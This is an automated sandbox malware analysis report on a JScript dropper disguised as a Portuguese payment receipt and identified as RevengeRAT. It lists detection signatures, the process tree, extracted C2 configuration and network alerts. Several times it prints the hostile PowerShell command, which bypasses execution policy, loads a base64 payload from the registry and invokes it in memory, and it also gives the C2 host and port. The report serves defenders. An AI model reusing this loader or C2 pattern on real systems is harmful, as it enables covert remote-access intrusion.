Edit tour

Windows Analysis Report
comprovante de pagamento.js

Overview

General Information

Sample name:	comprovante de pagamento.js
Analysis ID:	1578395
MD5:	0c3e47c0fb0d5a289fded25fd9746817
SHA1:	2117b82b1724a2f146ffd015b50ce45c63d7fb87
SHA256:	2e166d7183aca77bc9ebaa54d8048374aa780ece1ffc159ecf57ec75f96a8e4d
Tags:	jsRevengeRATuser-abuse_ch
Infos:

Detection

RevengeRAT

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Found malware configuration

JScript performs obfuscated calls to suspicious functions

Malicious sample detected (through community Yara rule)

Suricata IDS alerts for network traffic

Yara detected RevengeRAT

Bypasses PowerShell execution policy

Found RAT behaviour (information extraction to be send to C&C)

Sigma detected: Base64 Encoded PowerShell Command Detected

Sigma detected: PowerShell Base64 Encoded FromBase64String Cmdlet

Sigma detected: WScript or CScript Dropper

Suspicious execution chain found

Suspicious powershell command line found

Windows Scripting host queries suspicious COM object (likely to drop second stage)

Wscript starts Powershell (via cmd or directly)

AV process strings found (often used to terminate AV products)

Checks if Antivirus/Antispyware/Firewall program is installed (via WMI)

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Detected TCP or UDP traffic on non-standard ports

Detected potential crypto function

Found WSH timer for Javascript or VBS script (likely evasive script)

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

Internet Provider seen in connection with other malware

Java / VBScript file with very long strings (likely obfuscated code)

May sleep (evasive loops) to hinder dynamic analysis

Queries sensitive processor information (via WMI, Win32_Processor, often done to detect virtual machines)

Queries the volume information (name, serial number etc) of a device

Sample execution stops while process was sleeping (likely an evasion)

Sigma detected: Change PowerShell Policies to an Insecure Level

Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript

Uses code obfuscation techniques (call, push, ret)

Very long cmdline option found, this is very uncommon (may be encrypted or packed)

Yara signature match

Classification

Process Tree

System is w10x64

wscript.exe (PID: 6756 cmdline: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\comprovante de pagamento.js" MD5: A47CBE969EA935BDD3AB568BB126BC80)

powershell.exe (PID: 6996 cmdline: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noexit -ExecutionPolicy Bypass -windowstyle hidden -Command "$_b = (get-itemproperty -path 'HKCU:\SOFTWARE\Microsoft\' -name 'cocacola').cocacola;[byte[]]$_0 = [System.Convert]::FromBase64String($_b);$_1 = [System.Threading.Thread]::GetDomain().Load($_0);$_1.EntryPoint.invoke($null,$null);" MD5: 04029E121A0CFA5991749937DD22A1D9)

conhost.exe (PID: 7024 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

cleanup

Malware Configuration

Threatname: RevengeRAT

{"Host": ["38.51.135.44"], "Port": ["333"], "ID": "NyanCatRevenge", "Mutex": "9822cb7521c94057", "Key": "Revenge-RAT", "Splitter": "!@#%^NYAN#!@$"}

Yara Signatures

PCAP (Network Traffic)

Source	Rule	Description	Author	Strings
dump.pcap	JoeSecurity_RevengeRAT	Yara detected RevengeRAT	Joe Security

Memory Dumps

Source	Rule	Description	Author	Strings
00000001.00000002.2981058808.00000176F6380000.00000004.08000000.00040000.00000000.sdmp	JoeSecurity_RevengeRAT	Yara detected RevengeRAT	Joe Security
00000001.00000002.2981058808.00000176F6380000.00000004.08000000.00040000.00000000.sdmp	Windows_Trojan_Revengerat_db91bcc6	unknown	unknown	0x2e27:$a1: Revenge-RAT 0x2b5a:$a2: SELECT * FROM FirewallProduct 0x2d55:$a3: HKEY_CURRENT_USER\SOFTWARE\ 0x246f:$a4: get_MachineName
00000001.00000002.2981058808.00000176F6380000.00000004.08000000.00040000.00000000.sdmp	MALWARE_Win_RevengeRAT	RevengeRAT and variants payload	ditekSHen	0x1e45:$l1: Lime.Connection 0x1ec2:$l2: Lime.Packets 0x1ed6:$l3: Lime.Settings 0x1ea1:$l4: Lime.NativeMethods 0x1fec:$s1: GetAV 0x2ad6:$s2: keepAlivePing! 0x2e27:$s3: Revenge-RAT 0x22eb:$s6: set_SendBufferSize 0x2b1c:$q1: Select * from AntiVirusProduct 0x2b5a:$q2: SELECT * FROM FirewallProduct 0x2bdc:$q3: select * from Win32_Processor
00000001.00000002.2959069281.0000017681597000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_RevengeRAT	Yara detected RevengeRAT	Joe Security
00000001.00000002.2959069281.0000017681597000.00000004.00000800.00020000.00000000.sdmp	Windows_Trojan_Revengerat_db91bcc6	unknown	unknown	0xb97b7:$a1: Revenge-RAT 0x19ebfc:$a1: Revenge-RAT 0xb94ea:$a2: SELECT * FROM FirewallProduct 0x1d82e4:$a2: SELECT * FROM FirewallProduct 0xb96e5:$a3: HKEY_CURRENT_USER\SOFTWARE\ 0xb8dff:$a4: get_MachineName
00000001.00000002.2959069281.00000176801B1000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_RevengeRAT	Yara detected RevengeRAT	Joe Security
00000001.00000002.2959069281.00000176801B1000.00000004.00000800.00020000.00000000.sdmp	Windows_Trojan_Revengerat_db91bcc6	unknown	unknown	0x1baa47:$a1: Revenge-RAT 0x21d9ac:$a1: Revenge-RAT 0x1ba77a:$a2: SELECT * FROM FirewallProduct 0x230724:$a2: SELECT * FROM FirewallProduct 0x1ba975:$a3: HKEY_CURRENT_USER\SOFTWARE\ 0x1ba08f:$a4: get_MachineName
00000001.00000002.2959069281.00000176818A8000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_RevengeRAT	Yara detected RevengeRAT	Joe Security
Process Memory Space: powershell.exe PID: 6996	JoeSecurity_RevengeRAT	Yara detected RevengeRAT	Joe Security
Process Memory Space: powershell.exe PID: 6996	INDICATOR_SUSPICIOUS_PWSH_B64Encoded_Concatenated_FileEXEC	Detects PowerShell scripts containing patterns of base64 encoded files, concatenation and execution	ditekSHen	0x2c37d:$b2: ::FromBase64String( 0x2c4d3:$b2: ::FromBase64String( 0x423f3:$b2: ::FromBase64String( 0x46fb5:$b2: ::FromBase64String( 0x47249:$b2: ::FromBase64String( 0x86185:$b2: ::FromBase64String( 0x8e753:$b2: ::FromBase64String( 0x10d475:$b2: ::FromBase64String( 0x10ee42:$b2: ::FromBase64String( 0x10ef98:$b2: ::FromBase64String( 0x11b1f8:$b2: ::FromBase64String( 0x11b34e:$b2: ::FromBase64String( 0x1210b3:$b2: ::FromBase64String( 0x12134c:$b2: ::FromBase64String( 0x121c70:$b2: ::FromBase64String( 0x121dc6:$b2: ::FromBase64String( 0x2889ac:$b2: ::FromBase64String( 0x288b02:$b2: ::FromBase64String( 0x909:$s1: -join 0xb5fa0:$s1: -join 0xb5fdb:$s1: -join
Click to see the 5 entries

Unpacked PEs

Source	Rule	Description	Author	Strings
1.2.powershell.exe.1768164d990.1.unpack	JoeSecurity_RevengeRAT	Yara detected RevengeRAT	Joe Security
1.2.powershell.exe.176f6380000.2.raw.unpack	JoeSecurity_RevengeRAT	Yara detected RevengeRAT	Joe Security
1.2.powershell.exe.1768164d990.1.unpack	Windows_Trojan_Revengerat_db91bcc6	unknown	unknown	0x1027:$a1: Revenge-RAT 0xd5a:$a2: SELECT * FROM FirewallProduct 0xf55:$a3: HKEY_CURRENT_USER\SOFTWARE\ 0x66f:$a4: get_MachineName
1.2.powershell.exe.176f6380000.2.raw.unpack	Windows_Trojan_Revengerat_db91bcc6	unknown	unknown	0x2e27:$a1: Revenge-RAT 0x2b5a:$a2: SELECT * FROM FirewallProduct 0x2d55:$a3: HKEY_CURRENT_USER\SOFTWARE\ 0x246f:$a4: get_MachineName
1.2.powershell.exe.1768164d990.1.unpack	MALWARE_Win_RevengeRAT	RevengeRAT and variants payload	ditekSHen	0xcd6:$s2: keepAlivePing! 0x1027:$s3: Revenge-RAT 0x4eb:$s6: set_SendBufferSize 0xd1c:$q1: Select * from AntiVirusProduct 0xd5a:$q2: SELECT * FROM FirewallProduct 0xddc:$q3: select * from Win32_Processor
1.2.powershell.exe.176f6380000.2.raw.unpack	MALWARE_Win_RevengeRAT	RevengeRAT and variants payload	ditekSHen	0x1e45:$l1: Lime.Connection 0x1ec2:$l2: Lime.Packets 0x1ed6:$l3: Lime.Settings 0x1ea1:$l4: Lime.NativeMethods 0x1fec:$s1: GetAV 0x2ad6:$s2: keepAlivePing! 0x2e27:$s3: Revenge-RAT 0x22eb:$s6: set_SendBufferSize 0x2b1c:$q1: Select * from AntiVirusProduct 0x2b5a:$q2: SELECT * FROM FirewallProduct 0x2bdc:$q3: select * from Win32_Processor
1.2.powershell.exe.176f6380000.2.unpack	JoeSecurity_RevengeRAT	Yara detected RevengeRAT	Joe Security
1.2.powershell.exe.176f6380000.2.unpack	Windows_Trojan_Revengerat_db91bcc6	unknown	unknown	0x1027:$a1: Revenge-RAT 0xd5a:$a2: SELECT * FROM FirewallProduct 0xf55:$a3: HKEY_CURRENT_USER\SOFTWARE\ 0x66f:$a4: get_MachineName
1.2.powershell.exe.176f6380000.2.unpack	MALWARE_Win_RevengeRAT	RevengeRAT and variants payload	ditekSHen	0xcd6:$s2: keepAlivePing! 0x1027:$s3: Revenge-RAT 0x4eb:$s6: set_SendBufferSize 0xd1c:$q1: Select * from AntiVirusProduct 0xd5a:$q2: SELECT * FROM FirewallProduct 0xddc:$q3: select * from Win32_Processor
1.2.powershell.exe.17680368c20.0.unpack	JoeSecurity_RevengeRAT	Yara detected RevengeRAT	Joe Security
1.2.powershell.exe.17680368c20.0.unpack	Windows_Trojan_Revengerat_db91bcc6	unknown	unknown	0x1027:$a1: Revenge-RAT 0xd5a:$a2: SELECT * FROM FirewallProduct 0xf55:$a3: HKEY_CURRENT_USER\SOFTWARE\ 0x66f:$a4: get_MachineName
1.2.powershell.exe.17680368c20.0.unpack	MALWARE_Win_RevengeRAT	RevengeRAT and variants payload	ditekSHen	0xcd6:$s2: keepAlivePing! 0x1027:$s3: Revenge-RAT 0x4eb:$s6: set_SendBufferSize 0xd1c:$q1: Select * from AntiVirusProduct 0xd5a:$q2: SELECT * FROM FirewallProduct 0xddc:$q3: select * from Win32_Processor
1.2.powershell.exe.17680368c20.0.raw.unpack	JoeSecurity_RevengeRAT	Yara detected RevengeRAT	Joe Security
1.2.powershell.exe.17680368c20.0.raw.unpack	Windows_Trojan_Revengerat_db91bcc6	unknown	unknown	0x2e27:$a1: Revenge-RAT 0x65d8c:$a1: Revenge-RAT 0x2b5a:$a2: SELECT * FROM FirewallProduct 0x78b04:$a2: SELECT * FROM FirewallProduct 0x2d55:$a3: HKEY_CURRENT_USER\SOFTWARE\ 0x246f:$a4: get_MachineName
1.2.powershell.exe.17680368c20.0.raw.unpack	MALWARE_Win_RevengeRAT	RevengeRAT and variants payload	ditekSHen	0x1e45:$l1: Lime.Connection 0x1ec2:$l2: Lime.Packets 0x1ed6:$l3: Lime.Settings 0x1ea1:$l4: Lime.NativeMethods 0x1fec:$s1: GetAV 0x2ad6:$s2: keepAlivePing! 0x2e27:$s3: Revenge-RAT 0x65d8c:$s3: Revenge-RAT 0x22eb:$s6: set_SendBufferSize 0x2b1c:$q1: Select * from AntiVirusProduct 0x78aac:$q1: Select * from AntiVirusProduct 0x2b5a:$q2: SELECT * FROM FirewallProduct 0x78b04:$q2: SELECT * FROM FirewallProduct 0x2bdc:$q3: select * from Win32_Processor
1.2.powershell.exe.1768164d990.1.raw.unpack	JoeSecurity_RevengeRAT	Yara detected RevengeRAT	Joe Security
1.2.powershell.exe.1768164d990.1.raw.unpack	Windows_Trojan_Revengerat_db91bcc6	unknown	unknown	0x2e27:$a1: Revenge-RAT 0xe826c:$a1: Revenge-RAT 0x2b5a:$a2: SELECT * FROM FirewallProduct 0x121954:$a2: SELECT * FROM FirewallProduct 0x2d55:$a3: HKEY_CURRENT_USER\SOFTWARE\ 0x246f:$a4: get_MachineName
1.2.powershell.exe.1768164d990.1.raw.unpack	MALWARE_Win_RevengeRAT	RevengeRAT and variants payload	ditekSHen	0x1e45:$l1: Lime.Connection 0x1ec2:$l2: Lime.Packets 0x1ed6:$l3: Lime.Settings 0x1ea1:$l4: Lime.NativeMethods 0x1fec:$s1: GetAV 0x2ad6:$s2: keepAlivePing! 0x2e27:$s3: Revenge-RAT 0xe826c:$s3: Revenge-RAT 0x22eb:$s6: set_SendBufferSize 0x2b1c:$q1: Select * from AntiVirusProduct 0x1218fc:$q1: Select * from AntiVirusProduct 0x2b5a:$q2: SELECT * FROM FirewallProduct 0x121954:$q2: SELECT * FROM FirewallProduct 0x2bdc:$q3: select * from Win32_Processor
Click to see the 13 entries

Sigma Signatures

System Summary

Sigma detected: Base64 Encoded PowerShell Command Detected

Source: Process started

Author: Florian Roth (Nextron Systems): Data: Command: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noexit -ExecutionPolicy Bypass -windowstyle hidden -Command "$_b = (get-itemproperty -path 'HKCU:\SOFTWARE\Microsoft\' -name 'cocacola').cocacola;[byte[]]$_0 = [System.Convert]::FromBase64String($_b);$_1 = [System.Threading.Thread]::GetDomain().Load($_0);$_1.EntryPoint.invoke($null,$null);", CommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noexit -ExecutionPolicy Bypass -windowstyle hidden -Command "$_b = (get-itemproperty -path 'HKCU:\SOFTWARE\Microsoft\' -name 'cocacola').cocacola;[byte[]]$_0 = [System.Convert]::FromBase64String($_b);$_1 = [System.Threading.Thread]::GetDomain().Load($_0);$_1.EntryPoint.invoke($null,$null);", CommandLine|base64offset|contains: z+, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\comprovante de pagamento.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 6756, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noexit -ExecutionPolicy Bypass -windowstyle hidden -Command "$_b = (get-itemproperty -path 'HKCU:\SOFTWARE\Microsoft\' -name 'cocacola').cocacola;[byte[]]$_0 = [System.Convert]::FromBase64String($_b);$_1 = [System.Threading.Thread]::GetDomain().Load($_0);$_1.EntryPoint.invoke($null,$null);", ProcessId: 6996, ProcessName: powershell.exe

Sigma detected: PowerShell Base64 Encoded FromBase64String Cmdlet

Source: Process started

Sigma detected: WScript or CScript Dropper

Source: Process started

Author: Margaritis Dimitrios (idea), Florian Roth (Nextron Systems), oscd.community: Data: Command: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\comprovante de pagamento.js", CommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\comprovante de pagamento.js", CommandLine|base64offset|contains: u, Image: C:\Windows\System32\wscript.exe, NewProcessName: C:\Windows\System32\wscript.exe, OriginalFileName: C:\Windows\System32\wscript.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 2580, ProcessCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\comprovante de pagamento.js", ProcessId: 6756, ProcessName: wscript.exe

Sigma detected: Change PowerShell Policies to an Insecure Level

Source: Process started

Author: frack113: Data: Command: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noexit -ExecutionPolicy Bypass -windowstyle hidden -Command "$_b = (get-itemproperty -path 'HKCU:\SOFTWARE\Microsoft\' -name 'cocacola').cocacola;[byte[]]$_0 = [System.Convert]::FromBase64String($_b);$_1 = [System.Threading.Thread]::GetDomain().Load($_0);$_1.EntryPoint.invoke($null,$null);", CommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noexit -ExecutionPolicy Bypass -windowstyle hidden -Command "$_b = (get-itemproperty -path 'HKCU:\SOFTWARE\Microsoft\' -name 'cocacola').cocacola;[byte[]]$_0 = [System.Convert]::FromBase64String($_b);$_1 = [System.Threading.Thread]::GetDomain().Load($_0);$_1.EntryPoint.invoke($null,$null);", CommandLine|base64offset|contains: z+, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\comprovante de pagamento.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 6756, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noexit -ExecutionPolicy Bypass -windowstyle hidden -Command "$_b = (get-itemproperty -path 'HKCU:\SOFTWARE\Microsoft\' -name 'cocacola').cocacola;[byte[]]$_0 = [System.Convert]::FromBase64String($_b);$_1 = [System.Threading.Thread]::GetDomain().Load($_0);$_1.EntryPoint.invoke($null,$null);", ProcessId: 6996, ProcessName: powershell.exe

Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript

Source: Process started

Author: Michael Haag: Data: Command: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\comprovante de pagamento.js", CommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\comprovante de pagamento.js", CommandLine|base64offset|contains: u, Image: C:\Windows\System32\wscript.exe, NewProcessName: C:\Windows\System32\wscript.exe, OriginalFileName: C:\Windows\System32\wscript.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 2580, ProcessCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\comprovante de pagamento.js", ProcessId: 6756, ProcessName: wscript.exe

Sigma detected: Non Interactive PowerShell Process Spawned

Source: Process started

Author: Roberto Rodriguez @Cyb3rWard0g (rule), oscd.community (improvements): Data: Command: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noexit -ExecutionPolicy Bypass -windowstyle hidden -Command "$_b = (get-itemproperty -path 'HKCU:\SOFTWARE\Microsoft\' -name 'cocacola').cocacola;[byte[]]$_0 = [System.Convert]::FromBase64String($_b);$_1 = [System.Threading.Thread]::GetDomain().Load($_0);$_1.EntryPoint.invoke($null,$null);", CommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noexit -ExecutionPolicy Bypass -windowstyle hidden -Command "$_b = (get-itemproperty -path 'HKCU:\SOFTWARE\Microsoft\' -name 'cocacola').cocacola;[byte[]]$_0 = [System.Convert]::FromBase64String($_b);$_1 = [System.Threading.Thread]::GetDomain().Load($_0);$_1.EntryPoint.invoke($null,$null);", CommandLine|base64offset|contains: z+, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\comprovante de pagamento.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 6756, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noexit -ExecutionPolicy Bypass -windowstyle hidden -Command "$_b = (get-itemproperty -path 'HKCU:\SOFTWARE\Microsoft\' -name 'cocacola').cocacola;[byte[]]$_0 = [System.Convert]::FromBase64String($_b);$_1 = [System.Threading.Thread]::GetDomain().Load($_0);$_1.EntryPoint.invoke($null,$null);", ProcessId: 6996, ProcessName: powershell.exe

Suricata Signatures

ET MALWARE MSIL/Revenge-RAT Keep-Alive Activity (Outbound) M2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-19T16:42:37.253666+0100	2035885	1	Malware Command and Control Activity Detected	192.168.2.4	49730	38.51.135.44	333	TCP
2024-12-19T16:43:07.252902+0100	2035885	1	Malware Command and Control Activity Detected	192.168.2.4	49730	38.51.135.44	333	TCP
2024-12-19T16:43:37.257973+0100	2035885	1	Malware Command and Control Activity Detected	192.168.2.4	49730	38.51.135.44	333	TCP
2024-12-19T16:43:51.502758+0100	2035885	1	Malware Command and Control Activity Detected	192.168.2.4	49730	38.51.135.44	333	TCP
2024-12-19T16:43:55.674603+0100	2035885	1	Malware Command and Control Activity Detected	192.168.2.4	49730	38.51.135.44	333	TCP
2024-12-19T16:43:55.862048+0100	2035885	1	Malware Command and Control Activity Detected	192.168.2.4	49730	38.51.135.44	333	TCP
2024-12-19T16:44:11.610122+0100	2035885	1	Malware Command and Control Activity Detected	192.168.2.4	49730	38.51.135.44	333	TCP

ETPRO MALWARE MSIL/Revenge-RAT CnC Checkin M4

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-19T16:42:07.244342+0100	2841113	1	Malware Command and Control Activity Detected	192.168.2.4	49730	38.51.135.44	333	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Found malware configuration

Source: 00000001.00000002.2981058808.00000176F6380000.00000004.08000000.00040000.00000000.sdmp

Malware Configuration Extractor: RevengeRAT {"Host": ["38.51.135.44"], "Port": ["333"], "ID": "NyanCatRevenge", "Mutex": "9822cb7521c94057", "Key": "Revenge-RAT", "Splitter": "!@#%^NYAN#!@$"}

Yara detected RevengeRAT

Source: Yara match	File source: dump.pcap, type: PCAP
Source: Yara match	File source: 1.2.powershell.exe.1768164d990.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 1.2.powershell.exe.176f6380000.2.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 1.2.powershell.exe.176f6380000.2.unpack, type: UNPACKEDPE
Source: Yara match	File source: 1.2.powershell.exe.17680368c20.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 1.2.powershell.exe.17680368c20.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 1.2.powershell.exe.1768164d990.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000001.00000002.2981058808.00000176F6380000.00000004.08000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000002.2959069281.0000017681597000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000002.2959069281.00000176801B1000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000002.2959069281.00000176818A8000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: powershell.exe PID: 6996, type: MEMORYSTR

Software Vulnerabilities

Suspicious execution chain found

Source: C:\Windows\System32\wscript.exe

Child: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Networking

Suricata IDS alerts for network traffic

Source: Network traffic	Suricata IDS: 2841113 - Severity 1 - ETPRO MALWARE MSIL/Revenge-RAT CnC Checkin M4 : 192.168.2.4:49730 -> 38.51.135.44:333
Source: Network traffic	Suricata IDS: 2035885 - Severity 1 - ET MALWARE MSIL/Revenge-RAT Keep-Alive Activity (Outbound) M2 : 192.168.2.4:49730 -> 38.51.135.44:333

Source: global traffic

TCP traffic: 192.168.2.4:49730 -> 38.51.135.44:333

Source: Joe Sandbox View

ASN Name: COGENT-174US COGENT-174US

Source: unknown	TCP traffic detected without corresponding DNS query: 38.51.135.44
Source: unknown	TCP traffic detected without corresponding DNS query: 38.51.135.44
Source: unknown	TCP traffic detected without corresponding DNS query: 38.51.135.44
Source: unknown	TCP traffic detected without corresponding DNS query: 38.51.135.44
Source: unknown	TCP traffic detected without corresponding DNS query: 38.51.135.44
Source: unknown	TCP traffic detected without corresponding DNS query: 38.51.135.44
Source: unknown	TCP traffic detected without corresponding DNS query: 38.51.135.44
Source: unknown	TCP traffic detected without corresponding DNS query: 38.51.135.44
Source: unknown	TCP traffic detected without corresponding DNS query: 38.51.135.44
Source: unknown	TCP traffic detected without corresponding DNS query: 38.51.135.44
Source: unknown	TCP traffic detected without corresponding DNS query: 38.51.135.44
Source: unknown	TCP traffic detected without corresponding DNS query: 38.51.135.44
Source: unknown	TCP traffic detected without corresponding DNS query: 38.51.135.44
Source: unknown	TCP traffic detected without corresponding DNS query: 38.51.135.44
Source: unknown	TCP traffic detected without corresponding DNS query: 38.51.135.44
Source: unknown	TCP traffic detected without corresponding DNS query: 38.51.135.44
Source: unknown	TCP traffic detected without corresponding DNS query: 38.51.135.44
Source: unknown	TCP traffic detected without corresponding DNS query: 38.51.135.44
Source: unknown	TCP traffic detected without corresponding DNS query: 38.51.135.44
Source: unknown	TCP traffic detected without corresponding DNS query: 38.51.135.44
Source: unknown	TCP traffic detected without corresponding DNS query: 38.51.135.44
Source: unknown	TCP traffic detected without corresponding DNS query: 38.51.135.44
Source: unknown	TCP traffic detected without corresponding DNS query: 38.51.135.44
Source: unknown	TCP traffic detected without corresponding DNS query: 38.51.135.44
Source: unknown	TCP traffic detected without corresponding DNS query: 38.51.135.44
Source: unknown	TCP traffic detected without corresponding DNS query: 38.51.135.44
Source: unknown	TCP traffic detected without corresponding DNS query: 38.51.135.44
Source: unknown	TCP traffic detected without corresponding DNS query: 38.51.135.44
Source: unknown	TCP traffic detected without corresponding DNS query: 38.51.135.44
Source: unknown	TCP traffic detected without corresponding DNS query: 38.51.135.44
Source: unknown	TCP traffic detected without corresponding DNS query: 38.51.135.44
Source: unknown	TCP traffic detected without corresponding DNS query: 38.51.135.44
Source: unknown	TCP traffic detected without corresponding DNS query: 38.51.135.44
Source: unknown	TCP traffic detected without corresponding DNS query: 38.51.135.44

Source: powershell.exe, 00000001.00000002.2974720720.000001769008B000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000001.00000002.2974720720.00000176901C2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://nuget.org/NuGet.exe
Source: powershell.exe, 00000001.00000002.2959069281.00000176801B1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://pesterbdd.com/images/Pester.png
Source: powershell.exe, 00000001.00000002.2959069281.0000017680001000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name
Source: powershell.exe, 00000001.00000002.2959069281.00000176801B1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.apache.org/licenses/LICENSE-2.0.html
Source: powershell.exe, 00000001.00000002.2959069281.0000017680001000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://aka.ms/pscore68
Source: powershell.exe, 00000001.00000002.2974720720.00000176901C2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contoso.com/
Source: powershell.exe, 00000001.00000002.2974720720.00000176901C2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contoso.com/Icon
Source: powershell.exe, 00000001.00000002.2974720720.00000176901C2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contoso.com/License
Source: powershell.exe, 00000001.00000002.2959069281.00000176801B1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/Pester/Pester
Source: powershell.exe, 00000001.00000002.2959069281.00000176818A8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://go.micro
Source: powershell.exe, 00000001.00000002.2974720720.000001769008B000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000001.00000002.2974720720.00000176901C2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://nuget.org/nuget.exe

E-Banking Fraud

Yara detected RevengeRAT

Source: Yara match	File source: dump.pcap, type: PCAP
Source: Yara match	File source: 1.2.powershell.exe.1768164d990.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 1.2.powershell.exe.176f6380000.2.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 1.2.powershell.exe.176f6380000.2.unpack, type: UNPACKEDPE
Source: Yara match	File source: 1.2.powershell.exe.17680368c20.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 1.2.powershell.exe.17680368c20.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 1.2.powershell.exe.1768164d990.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000001.00000002.2981058808.00000176F6380000.00000004.08000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000002.2959069281.0000017681597000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000002.2959069281.00000176801B1000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000002.2959069281.00000176818A8000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: powershell.exe PID: 6996, type: MEMORYSTR

System Summary

Malicious sample detected (through community Yara rule)

Source: 1.2.powershell.exe.1768164d990.1.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Revengerat_db91bcc6 Author: unknown
Source: 1.2.powershell.exe.176f6380000.2.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Revengerat_db91bcc6 Author: unknown
Source: 1.2.powershell.exe.1768164d990.1.unpack, type: UNPACKEDPE	Matched rule: RevengeRAT and variants payload Author: ditekSHen
Source: 1.2.powershell.exe.176f6380000.2.raw.unpack, type: UNPACKEDPE	Matched rule: RevengeRAT and variants payload Author: ditekSHen
Source: 1.2.powershell.exe.176f6380000.2.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Revengerat_db91bcc6 Author: unknown
Source: 1.2.powershell.exe.176f6380000.2.unpack, type: UNPACKEDPE	Matched rule: RevengeRAT and variants payload Author: ditekSHen
Source: 1.2.powershell.exe.17680368c20.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Revengerat_db91bcc6 Author: unknown
